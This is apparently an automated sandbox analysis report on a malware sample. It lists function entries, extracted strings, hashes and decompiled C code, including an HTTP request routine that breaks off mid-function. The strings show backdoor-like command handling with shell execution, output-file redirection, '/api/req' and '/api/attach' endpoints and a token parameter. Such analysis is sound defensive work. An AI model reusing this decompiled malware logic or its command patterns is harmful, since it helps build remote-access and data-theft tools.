Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$FindResource
String ID: ER4uCCkuRzRjHSU=$ERk1CSozUSoHMgUm$ERo+FTkkXQMiJxA=$ESQuBT8uQyglJy4QOicGXDMiayYtPQ==$JC4hHg4UeRQmIQcuMCxMVjw0$SystemDrive$`
API String ID: 3073988107-3092437485
Opcode ID: 1dc65200f98c395a9e37f2b8907bf4561ddc256f631bf711426f828138aa4896
Instruction ID: ab8801cd409ec03369ebc319dbcf3f5da797234246d8e736886faecd5aac626c
Opcode Fuzzy Hash: 1dc65200f98c395a9e37f2b8907bf4561ddc256f631bf711426f828138aa4896
Instruction Fuzzy Hash: 5B3247719002449BEB14EF78DC05BAEF7F4EF01310F1486ADE815AB792EB75A944CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 00C02B5D, Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,?,00C02B5C,?,?,00000000,?,00000000,00000000), ref: 00C02B7F
TerminateProcess.KERNEL32(00000000,?,00C02B5C,?,?,00000000,?,00000000,00000000), ref: 00C02B86
ExitProcess.KERNEL32 ref: 00C02B98

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0404ee28ee20772327f5b603d54d95f48830eeb2d2d559ed537205aa7c6d5273
Instruction ID: bfe20f53f095591179c574d8e74aa3405f76692b8734226fcf353bde9da6fb01
Opcode Fuzzy Hash: 0404ee28ee20772327f5b603d54d95f48830eeb2d2d559ed537205aa7c6d5273
Instruction Fuzzy Hash: AAE04631001209ABCB162F64CD0CF8C3F28FB09351B004411F80A86172CB35DE81EA91

Uniqueness

Uniqueness Score: 0.03%

Function 00BDEEF0, Relevance: 70.7, APIs: 5, Strings: 35, Instructions: 656
memoryfileUNIQUE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(?,00000000,?,00C26C58,?,00C26C58), ref: 00BDF18D
SysAllocStringLen.OLEAUT32(?,?), ref: 00BDF23F
SysAllocStringLen.OLEAUT32(?,?), ref: 00BDF252

Part of subcall function 00BDEC90: CoInitialize.OLE32(00000000), ref: 00BDECE9
Part of subcall function 00BDEC90: CoCreateInstance.OLE32(00C1A2C0,00000000,00000001,00C1A2B0,?), ref: 00BDED08

SleepEx.KERNEL32(?,00000000,?,?,?,00C26C58,?,00C26C58), ref: 00BDF27F
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,00C26C58,?,00C26C58), ref: 00BDF288

Part of subcall function 00BD9CE0: ShellExecuteExW.SHELL32(?), ref: 00BD9D3A
Part of subcall function 00BD9CE0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BD9D45

Strings

remove_reg, xrefs: 00BE105C
request, xrefs: 00BE27F6
url, xrefs: 00BE0A8E
cannot get value, xrefs: 00BE2C9C, 00BE2CE0, 00BE2D1F, 00BE2D63
ss"}, xrefs: 00BE0CFE
\txc1.txt, xrefs: 00BDFDDE, 00BDFDF6
' ', xrefs: 00BE0501, 00BE0519
> ", xrefs: 00BDF81E
Pj0mFDk=, xrefs: 00BDF32B
\txc2.txt, xrefs: 00BDFD4A, 00BDFD62, 00BDFE8B, 00BDFEA3
0/, xrefs: 00BDF43D, 00BE0743
name, xrefs: 00BE0AC8, 00BE106D
/api/req, xrefs: 00BE1DDC
\txc2.txt", xrefs: 00BDF9FE
.zip, xrefs: 00BDEFDD, 00BDEFF2
\txc1.txt" && type ", xrefs: 00BDF8CA
" /F, xrefs: 00BE1752, 00BE1776, 00BE17B5
4, xrefs: 00BE2ED9
exe, xrefs: 00BE0A79
cannot use operator[] with a numeric argument with , xrefs: 00BE2DB8, 00BE2E64
cannot use operator[] with a string argument with , xrefs: 00BE12E6, 00BE2E10, 00BE2EBC
data, xrefs: 00BE233F, 00BE23AB, 00BE2575
tion"}, xrefs: 00BE0D28
IjkiCA==, xrefs: 00BDF2D5, 00BE0785
y ', xrefs: 00BE05CB
\txc1.txt" > ", xrefs: 00BDF971
exit, xrefs: 00BE10A4
/c , xrefs: 00BDF805
{"status":"success","result":", xrefs: 00BE0F74
dir, xrefs: 00BE0AA9
type, xrefs: 00BE0A4C
`, xrefs: 00BE0641, 00BE1A97
/api/attach, xrefs: 00BE1CF4
token=, xrefs: 00BE1E2C
Yyw/Aw==, xrefs: 00BE1659

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: AllocCreateString$DeleteDirectoryExecuteFileInitializeInstanceObjectShellSingleSleepWait
String ID: > "$" /F$' '$.zip$/api/attach$/api/req$/c $0/$4$IjkiCA==$Pj0mFDk=$Yyw/Aw==$\txc1.txt$\txc1.txt" && type "$\txc1.txt" > "$\txc2.txt$\txc2.txt"$`$cannot get value$cannot use operator[] with a numeric argument with $cannot use operator[] with a string argument with $data$dir$exe$exit$name$remove_reg$request$ss"}$tion"}$token=$type$url$y '${"status":"success","result":"
API String ID: 3126972231-2927576387
Opcode ID: 72fc88850650ca3da28da8fc76c6efd9ac9e690f75617ff637a5da2e34f012c4
Instruction ID: c9481fd3ed795d902bfd4e63e694e11989b82ae784743199857f54ae267cac0f
Opcode Fuzzy Hash: 72fc88850650ca3da28da8fc76c6efd9ac9e690f75617ff637a5da2e34f012c4
Instruction Fuzzy Hash: 0F42A030905649DBEB10DF68C849B9DFBF5EF55314F1882E9E419AB392EB309E04CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00BE0090, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 228
UNIQUE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,5CB9E59C), ref: 00BE00DA

Strings

type, xrefs: 00BE0A2A

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: type
API String ID: 514040917-2363381545
Opcode ID: 51a120f43e6620147e25fc700a08610f27fa27289b928771d209f8d72d7bb2e1
Instruction ID: 0700d9d71c111a1c40ad561004dd36035bfa7097a0e893f0c68b155f02eaf161
Opcode Fuzzy Hash: 51a120f43e6620147e25fc700a08610f27fa27289b928771d209f8d72d7bb2e1
Instruction Fuzzy Hash: 0071E671900248EBEB10EF69CC46BDEB7F9EB04700F5041D9F915A76C2DB746A44CBA6

Uniqueness

Uniqueness Score: 100.00%

Function 00BD9CE0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
synchronizationUNIQUE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 00BD9D3A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BD9D45

Strings

<, xrefs: 00BD9D09
@, xrefs: 00BD9D10

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ExecuteObjectShellSingleWait
String ID: <$@
API String ID: 1289292659-1426351568
Opcode ID: c0bbf89e5a8d38af17b04520724dc9eed95460104f59c44db683645bcffcae7b
Instruction ID: ba7a551204679e5ec35c615563d56b6fe48b56565afd965d4a0c16121a5c46d9
Opcode Fuzzy Hash: c0bbf89e5a8d38af17b04520724dc9eed95460104f59c44db683645bcffcae7b
Instruction Fuzzy Hash: 77113A71D016199BDB00CFA8C848B8EFBF5FF49324F248359E824AA2A4E7758944CFD0

Uniqueness

Uniqueness Score: 100.00%

Function 00BE5750, Relevance: 2.6, APIs: 2, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000,?,?,00000000,?,00BD9B59,?,?), ref: 00BE576A
MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,-00000001,?,?,00000000,?,00BD9B59,?,?), ref: 00BE579D

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 0e5bc773effefb50cac619224efd897b538fc48d6514abde6979110d40868d40
Instruction ID: b3a7cf2edb09473ffccf76e3f7e5306e243e4bbfbad8f72b726f3a709ad6860d
Opcode Fuzzy Hash: 0e5bc773effefb50cac619224efd897b538fc48d6514abde6979110d40868d40
Instruction Fuzzy Hash: 7C110432301216AFD6209B4ADC89F6EF799EF84764F20425AF7159B3C0CB20AC1187A0

Uniqueness

Uniqueness Score: 0.08%

Function 00C0C6D1, Relevance: 1.6, APIs: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C06876: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C0710F,00000001,00000364,00000006,000000FF,?,?,?,00C0185C,00C06950), ref: 00C068B7

_free.LIBCMT ref: 00C0C740

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: a30e8605a2eb8de14869478dd35ca90c301679f309bffa3130f202b4217855f8
Instruction ID: 726449149e039d56a40967bc445cb45d0cbc4cfbe658db81551cfe2246b693f5
Opcode Fuzzy Hash: a30e8605a2eb8de14869478dd35ca90c301679f309bffa3130f202b4217855f8
Instruction Fuzzy Hash: C801F972A043566BC721CF98D8C199AFB98EB053B0F150769E565B76C0E770AD10CBA4

Uniqueness

Uniqueness Score: 0.02%

Function 00C06876, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C0710F,00000001,00000364,00000006,000000FF,?,?,?,00C0185C,00C06950), ref: 00C068B7

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 952dd83fd909b54e25898e6406f37245199fc2b010e1db7aa93a9cbb94a152ef
Instruction ID: e45f3c6566bf66a6935efbdcfc0984c405d7eac568a307e5a07bcc652e7bd2ec
Opcode Fuzzy Hash: 952dd83fd909b54e25898e6406f37245199fc2b010e1db7aa93a9cbb94a152ef
Instruction Fuzzy Hash: 35F0BE316002246BEB212F62DC09F5A7748AB41770F18C321EC28A61D0CA30EA26D7B0

Uniqueness

Uniqueness Score: 0.00%

Function 00C0690D, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00BF48E0,?,?,00BE8B4A,?,?,00BD1154), ref: 00C0693F

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a7880056ec5d177290b10d27f97063bf49d9722ef9ef9d0dfff90b1bb282015d
Instruction ID: 3cf6e58dcc8bbbc974f97b64762984201c3aaaa1cdc544171c474762430a11a2
Opcode Fuzzy Hash: a7880056ec5d177290b10d27f97063bf49d9722ef9ef9d0dfff90b1bb282015d
Instruction Fuzzy Hash: C7E06D3120522166DA322E669D04F5F7A889B427B0F194124EC25979D4DA30DE21D6A1

Uniqueness

Uniqueness Score: 0.00%

Non-executed Functions

Function 00BD5230, Relevance: 102.8, APIs: 47, Strings: 11, Instructions: 1319
UNIQUECrypto

Download Yara Rule

C-Code - Quality: 53%

			E00BD5230(void* __ebx, signed int* __ecx, void* __edx, void* __edi, signed int __esi, char _a4, signed int _a20, intOrPtr _a24) {
				signed int _v4;
				int _v8;
				intOrPtr _v12;
				unsigned int _v13;
				signed char _v14;
				unsigned char _v15;
				signed char _v16;
				char _v17;
				unsigned int _v18;
				unsigned char _v19;
				signed int _v20;
				signed char _v21;
				char _v22;
				signed char _v23;
				unsigned char _v24;
				intOrPtr _v25;
				unsigned char _v26;
				signed char _v28;
				signed char _v32;
				signed int _v36;
				signed char _v40;
				signed char _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				unsigned char _v64;
				intOrPtr _v68;
				signed int _v84;
				unsigned char _v88;
				unsigned char _v92;
				intOrPtr _v132;
				signed int _v140;
				signed char _v144;
				char _v164;
				intOrPtr _v168;
				intOrPtr _v180;
				intOrPtr _v184;
				unsigned char _v188;
				intOrPtr _v196;
				int _v208;
				char _v216;
				signed int _v220;
				char _v348;
				void* _v352;
				unsigned char _v356;
				char _v540;
				char _v1060;
				char _v1580;
				char _v4180;
				signed int _v4184;
				int _v4188;
				void* _v4192;
				char _v4196;
				char _v4204;
				signed int _v4208;
				intOrPtr _v4212;
				char _v4228;
				signed int _v4232;
				int _v4236;
				char _v4252;
				signed int _v4256;
				int _v4260;
				short _v4276;
				int _v4280;
				char _v4281;
				signed int _v4288;
				int _v4292;
				signed int _v4296;
				char _v4297;
				signed int _v4304;
				signed int _v4308;
				int _v4312;
				int _v4316;
				int _v4320;
				int _v4324;
				int _v4328;
				int _v4332;
				long _v4336;
				signed int _v4340;
				short* _v4344;
				signed int* _v4348;
				signed int _v4352;
				void* _v4356;
				void* _v4360;
				char _v4364;
				char* _v4368;
				char* _v4372;
				signed int _v4376;
				int _v4380;
				char* _v4384;
				signed int _v4388;
				int _v4392;
				int _v4396;
				int _v4400;
				signed int _v4404;
				int _v4408;
				signed int _v4412;
				intOrPtr _v4424;
				char* _v4428;
				int _v4432;
				intOrPtr _v4448;
				intOrPtr _v4452;
				char* _v4456;
				int _v4460;
				int _v4464;
				int _v4468;
				char _v4472;
				void* __ebp;
				signed int _t682;
				signed int _t683;
				char _t685;
				signed int _t689;
				signed int _t692;
				long _t693;
				intOrPtr _t696;
				signed int _t702;
				signed int _t703;
				intOrPtr _t711;
				intOrPtr _t714;
				signed char _t724;
				unsigned char _t727;
				signed int _t730;
				unsigned char _t735;
				signed int _t739;
				signed int _t743;
				void* _t744;
				signed int _t751;
				signed int _t754;
				signed int _t756;
				char _t757;
				signed char _t758;
				signed int _t760;
				signed int _t767;
				signed int _t768;
				signed int _t772;
				intOrPtr _t774;
				intOrPtr* _t776;
				char _t781;
				signed char _t782;
				signed char _t785;
				unsigned char _t794;
				signed char _t798;
				signed char _t822;
				signed int _t824;
				char* _t829;
				signed int _t837;
				signed int _t838;
				signed int _t841;
				long _t842;
				signed int _t843;
				long _t844;
				signed int _t845;
				signed int _t850;
				signed int _t852;
				signed int _t857;
				signed int _t862;
				signed int* _t864;
				signed int _t865;
				signed int _t873;
				signed int _t879;
				intOrPtr _t880;
				int _t888;
				intOrPtr _t894;
				signed int _t904;
				signed int _t907;
				signed int _t919;
				signed int _t933;
				signed int _t936;
				signed int _t942;
				signed int _t945;
				signed int _t948;
				signed int _t954;
				intOrPtr _t960;
				intOrPtr _t964;
				signed int _t971;
				signed int _t972;
				signed int _t976;
				void* _t980;
				signed int _t983;
				intOrPtr _t985;
				intOrPtr _t989;
				intOrPtr* _t998;
				signed int _t1004;
				signed int _t1007;
				intOrPtr* _t1012;
				signed int _t1015;
				signed int _t1016;
				void* _t1017;
				signed int _t1024;
				void* _t1025;
				void* _t1026;
				signed int _t1035;
				signed int _t1036;
				void* _t1037;
				void* _t1038;
				signed int* _t1044;
				signed int _t1048;
				signed int _t1049;
				intOrPtr _t1056;
				signed int _t1060;
				void* _t1062;
				signed int _t1064;
				intOrPtr _t1065;
				void* _t1067;
				signed char _t1068;
				signed char _t1070;
				unsigned char _t1071;
				void* _t1074;
				void* _t1076;
				signed int* _t1078;
				unsigned char _t1088;
				signed int _t1097;
				void* _t1099;
				unsigned char _t1100;
				intOrPtr _t1101;
				unsigned char _t1108;
				intOrPtr* _t1110;
				signed int _t1113;
				intOrPtr _t1121;
				unsigned char _t1124;
				char _t1130;
				signed char _t1134;
				signed char _t1136;
				signed char _t1137;
				intOrPtr _t1138;
				void* _t1139;
				unsigned char _t1143;
				intOrPtr _t1146;
				signed int _t1149;
				intOrPtr* _t1152;
				long _t1158;
				signed int _t1160;
				intOrPtr* _t1184;
				char* _t1185;
				int _t1187;
				char _t1188;
				signed int _t1189;
				void* _t1190;
				char* _t1191;
				short* _t1193;
				signed int _t1194;
				unsigned int _t1197;
				unsigned int _t1199;
				int _t1201;
				intOrPtr* _t1203;
				signed int _t1204;
				intOrPtr* _t1207;
				char* _t1212;
				char* _t1214;
				char* _t1216;
				signed int _t1219;
				signed int _t1220;
				void* _t1221;
				char _t1222;
				intOrPtr _t1228;
				intOrPtr _t1229;
				intOrPtr* _t1232;
				char* _t1233;
				signed int* _t1242;
				signed int* _t1243;
				signed int _t1245;
				intOrPtr _t1247;
				void* _t1248;
				signed int _t1249;
				intOrPtr _t1250;
				unsigned int _t1251;
				unsigned char _t1258;
				signed char _t1259;
				signed char _t1263;
				signed int _t1266;
				signed char _t1267;
				intOrPtr _t1268;
				signed char _t1272;
				void* _t1273;
				unsigned char _t1278;
				void* _t1283;
				char _t1287;
				unsigned char _t1288;
				signed char _t1294;
				intOrPtr _t1295;
				signed int _t1296;
				void* _t1304;
				signed int _t1311;
				signed int _t1312;
				intOrPtr* _t1315;
				int _t1316;
				signed int _t1318;
				short* _t1319;
				signed int _t1320;
				signed int _t1321;
				intOrPtr* _t1322;
				signed int _t1324;
				signed int _t1325;
				signed int _t1326;
				void* _t1327;
				void* _t1328;
				signed int* _t1330;
				signed int _t1332;
				char _t1334;
				signed char _t1336;
				signed int _t1339;
				signed int _t1342;
				void* _t1344;
				unsigned char _t1346;
				unsigned char _t1347;
				signed int _t1348;
				signed int _t1349;
				unsigned char _t1351;
				unsigned char _t1353;
				signed int _t1355;
				signed int _t1356;
				signed int _t1360;
				unsigned char _t1362;
				intOrPtr _t1364;
				signed int _t1365;
				intOrPtr* _t1366;
				signed int _t1367;
				int _t1368;
				int _t1369;
				short* _t1370;
				signed int _t1371;
				signed int _t1374;
				signed int _t1375;
				signed int _t1378;
				signed int _t1379;
				void* _t1380;
				void* _t1381;
				signed int _t1382;
				void* _t1383;
				signed int _t1384;
				void* _t1386;
				void* _t1388;
				signed int _t1389;
				void* _t1392;
				void* _t1393;
				void* _t1394;
				void* _t1395;
				void* _t1396;
				void* _t1397;
				void* _t1400;
				void* _t1401;

				_t1349 = __esi;
				_t1248 = __edx;
				_t1062 = __ebx;
				_push(0xffffffff);
				_push(0xc16ed2);
				_push( *[fs:0x0]);
				E00C16440();
				_t682 =  *0xc2e00c; // 0x5cb9e59c
				_t683 = _t682 ^ _t1378;
				_v20 = _t683;
				_push(__esi);
				_push(__edi);
				_push(_t683);
				 *[fs:0x0] =  &_v16;
				_t1330 = __ecx;
				_v4348 = __ecx;
				_t685 = _a4;
				if(__ecx[6] > 0) {
					E00BE5D90( &_v4228, _t685);
					_v8 = 0;
					__eflags = _v4208 - 8;
					_t688 =  >=  ? _v4228 :  &_v4228;
					_t689 = E00BFD709(__ecx, __esi,  >=  ? _v4228 :  &_v4228, L"GET");
					_t1384 = _t1383 + 8;
					__eflags = _t689;
					if(_t689 != 0) {
						__eflags = _v4208 - 8;
						_t691 =  >=  ? _v4228 :  &_v4228;
						_t692 = E00BFD709(_t1330, __esi,  >=  ? _v4228 :  &_v4228, L"POST");
						_t1384 = _t1384 + 8;
						__eflags = _t692;
						if(_t692 != 0) {
							_t693 = 0x57;
							goto L213;
						} else {
							_t829 = L"POST";
							_t1149 = 4;
							goto L6;
						}
					} else {
						_t829 = L"GET";
						_t1149 = 3;
						L6:
						_push(_t1149);
						E00BE7B00(_t1062,  &_v4228, _t1248, _t1330, _t829);
						__eflags =  *_t1330;
						_v4281 = 1;
						if( *_t1330 != 0) {
							L11:
							__imp__WinHttpSetTimeouts( *_t1330, _t1330[0x5e], _t1330[0x5f], _t1330[0x60], _t1330[0x61]);
							E00BF71C0(_t1330,  &_v1060, 0, 0x208);
							E00BF71C0(_t1330,  &_v4180, 0, 0xa28);
							_v4468 = 0;
							_v4456 =  &_v1060;
							asm("xorps xmm0, xmm0");
							_v4460 = 0;
							_t1384 = _t1384 + 0x18;
							_v4428 =  &_v4180;
							__eflags = _t1330[7] - 8;
							_t837 =  &(_t1330[2]);
							asm("movlpd [ebp-0x115c], xmm0");
							asm("movlpd [ebp-0x1154], xmm0");
							_v4432 = 0;
							asm("movlpd [ebp-0x1140], xmm0");
							_v4472 = 0x3c;
							_v4452 = 0x104;
							_v4424 = 0x514;
							_v4464 = 1;
							if(_t1330[7] >= 8) {
								_t837 = _t1330[2];
							}
							__imp__WinHttpCrackUrl(_t837, _t1330[6], 0,  &_v4472);
							__eflags = _t837;
							if(_t837 == 0) {
								goto L214;
							} else {
								_t1152 =  &_v1060;
								_t1304 = _t1152 + 2;
								do {
									_t838 =  *_t1152;
									_t1152 = _t1152 + 2;
									__eflags = _t838;
								} while (_t838 != 0);
								E00BE7B00(_t1062,  &(_t1330[8]), _t1304, _t1330,  &_v1060);
								_t841 =  &_v1060;
								__imp__WinHttpConnect( *_t1330, _t841, _v4448, 0, _t1152 - _t1304 >> 1);
								_v4352 = _t841;
								__eflags = _t841;
								if(_t841 == 0) {
									goto L214;
								} else {
									__eflags = _v4460 - 2;
									_t1157 =  ==  ? 0x800000 : 0;
									__eflags = _v4208 - 8;
									_t1307 =  >=  ? _v4228 :  &_v4228;
									__imp__WinHttpOpenRequest(_t841,  >=  ? _v4228 :  &_v4228, _v4428, 0, 0, 0,  ==  ? 0x800000 : 0);
									_t1349 = _t841;
									_v4296 = _t1349;
									__eflags = _t1349;
									if(_t1349 == 0) {
										L211:
										__imp__WinHttpCloseHandle(_v4352);
										goto L214;
									} else {
										__eflags = _t1330[1];
										if(_t1330[1] == 0) {
											__eflags = _v4460 - 2;
											if(_v4460 == 2) {
												_v4280 = 0x3100;
												__imp__WinHttpSetOption(_t1349, 0x1f,  &_v4280, 4);
											}
										}
										_t1158 = 0;
										__eflags = 0;
										while(1) {
											L22:
											_t842 = _t1158;
											_v4336 = _t1158 + 1;
											__eflags = _t842 - 3;
											if(_t842 >= 3) {
												break;
											} else {
												_t1160 = _t1330[0x36];
												__eflags = _t1160;
												if(_t1160 != 0) {
													__eflags = _t1330[0x37] - 8;
													_t842 =  &(_t1330[0x32]);
													if(_t1330[0x37] >= 8) {
														_t842 =  *_t842;
													}
													__imp__WinHttpAddRequestHeaders(_t1349, _t842, _t1160, 0x1000000);
													__eflags = _t842;
													if(_t842 == 0) {
														_t842 = GetLastError();
														_t1330[0x3e] = _t842;
													}
												}
											}
											__eflags = _t1330[0x2e];
											if(_t1330[0x2e] <= 0) {
												L37:
												__eflags = _t1330[0x3c];
												if(_t1330[0x3c] > 0) {
													_v4380 = 0;
													_v4388 = 3;
													E00BF71C0(_t1330,  &_v540, 0, 0x208);
													_t1044 =  &(_t1330[0x38]);
													_t1392 = _t1384 + 0xc;
													__eflags = _t1044[5] - 8;
													if(_t1044[5] >= 8) {
														_t1044 =  *_t1044;
													}
													E00C00FED( &_v540, 0x104, _t1044);
													_t1384 = _t1392 + 0xc;
													_v4384 =  &_v540;
													_t1048 =  &_v4388;
													__imp__WinHttpSetOption(_t1349, 0x26, _t1048, 0xc);
													__eflags = _t1048;
													if(_t1048 == 0) {
														_t1330[0x3e] = GetLastError();
													}
													_t842 = _t1330[0x50];
													__eflags = _t842;
													if(_t842 != 0) {
														__eflags = _t1330[0x51] - 8;
														_t1242 =  &(_t1330[0x4c]);
														if(_t1330[0x51] >= 8) {
															_t1242 =  *_t1242;
														}
														_t1049 = _t842 + _t842;
														__imp__WinHttpSetOption(_t1349, 0x1002, _t1242, _t1049);
														__eflags = _t1049;
														if(_t1049 == 0) {
															_t1330[0x3e] = GetLastError();
														}
														_t842 = _t1330[0x56];
														__eflags = _t842;
														if(_t842 != 0) {
															__eflags = _t1330[0x57] - 8;
															_t1243 =  &(_t1330[0x52]);
															if(_t1330[0x57] >= 8) {
																_t1243 =  *_t1243;
															}
															_t842 = _t842 + _t842;
															__imp__WinHttpSetOption(_t1349, 0x1003, _t1243, _t842);
															__eflags = _t842;
															if(_t842 == 0) {
																_t842 = GetLastError();
																_t1330[0x3e] = _t842;
															}
														}
													}
												}
												_v4340 = 0;
												__imp__WinHttpSendRequest(_t1349, 0, 0, 0, 0, 0, 0);
												__eflags = _t842;
												if(_t842 != 0) {
													L76:
													_t843 = _t1330[0x30];
													__eflags = _t843;
													if(_t843 != 0) {
														_v4280 = 0;
														__imp__WinHttpWriteData(_t1349, _t843, _t1330[0x31],  &_v4280);
														__eflags = _t843;
														if(_t843 == 0) {
															_t843 = GetLastError();
															_t1330[0x3e] = _t843;
														}
													}
													__imp__WinHttpReceiveResponse(_t1349, 0);
													__eflags = _t843;
													if(_t843 == 0) {
														goto L207;
													} else {
														_t845 =  &_v4288;
														_v4288 = 0;
														__imp__WinHttpQueryHeaders(_t1349, 0x16, 0, 0, _t845, 0);
														__eflags = _t845;
														if(__eflags != 0) {
															L82:
															_t1309 = _v4288 * 2 >> 0x20;
															_t1365 = E00BF4B55(_v4288 * 2 >> 0x20, __eflags,  ~(0 | __eflags > 0x00000000) | _v4288 * 0x00000002);
															_v4308 = _t1365;
